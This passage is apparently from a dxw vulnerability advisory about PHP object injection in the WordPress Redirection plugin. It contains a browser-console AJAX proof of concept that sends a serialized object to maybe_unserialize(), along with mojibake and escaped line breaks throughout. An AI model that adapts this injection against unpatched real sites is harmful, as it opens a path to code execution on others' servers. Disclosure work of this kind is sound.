Many calls to this class then use its to_json method, which is as follows:\r\n public function get_action_data() {\r\n return $this->action_data ? $this->action_data : \\'\\';\r\n }\r\n\r\n public function to_json() {\r\n maybe_unserialize( $this->get_action_data() ),\r\n } \r\n\r\nThe sum effect is therefore that unsanitized user input is being passed to maybe_unserialize().\r\n\r\n\r\nProof of concept\r\n================\r\nAchieving arbitrary code execution depends on which classes are available (i.e. which plugins and themes are installed and active). It may not be possible in all situations. As such, this PoC will merely attempt to show that an arbitrary string can be passed to the maybe_unserialize() function.\r\n\r\nVisit /wp-admin/tools.php?page=redirection.php\r\nCreate a new redirect with a/booa, ahttps://www.dxw.com/a, and aRedirectionsa.\r\nWeall assume this redirect was given ID of 1 in the wp_redirection_items table. If that isnat true, change the aida value in the provided JavaScript.\r\nThen, without leaving the page, open your browseras console and execute this JavaScript:\r\njQuery.ajax(ajaxurl,{\r\n method: \\'POST\\',\r\n data: {\r\n \\'action\\': \\'red_set_redirect\\',\r\n \\'_wpnonce\\': window.Redirectioni10n.WP_API_nonce,\r\n \\'id\\': \\'1\\',\r\n \\'match_type\\': \\'url\\',\r\n \\'action_code\\': \\'1\\',\r\n \\'action_type\\': \\'url\\',\r\n \\'url\\': \\'https://www.dxw.com/\\',\r\n \\'group_id\\': \\'1\\',\r\n \\'action_data\\': \\'O:8:\\\"stdClass\\\":1:{s:5:\\\"hello\\\";s:5:\\\"world\\\";}\\',\r\n },\r\n}).done(console.log)\r\nThen, by inspecting the JavaScript object printed by console.log, or by looking at the Network logs, youall notice that we have a {ahelloa: aworlda} JavaScript object showing that our arbitrary string was passed to unserialize() and therefore, if the correct classes were available, we would be able to turn this into arbitrary code execution.\r\n\r\nMitigations\r\n================\r\nUpgrade to version 2.8 or later.\r\n\r\nDisclosure policy\r\n================\r\ndxw believes in responsible disclosure.
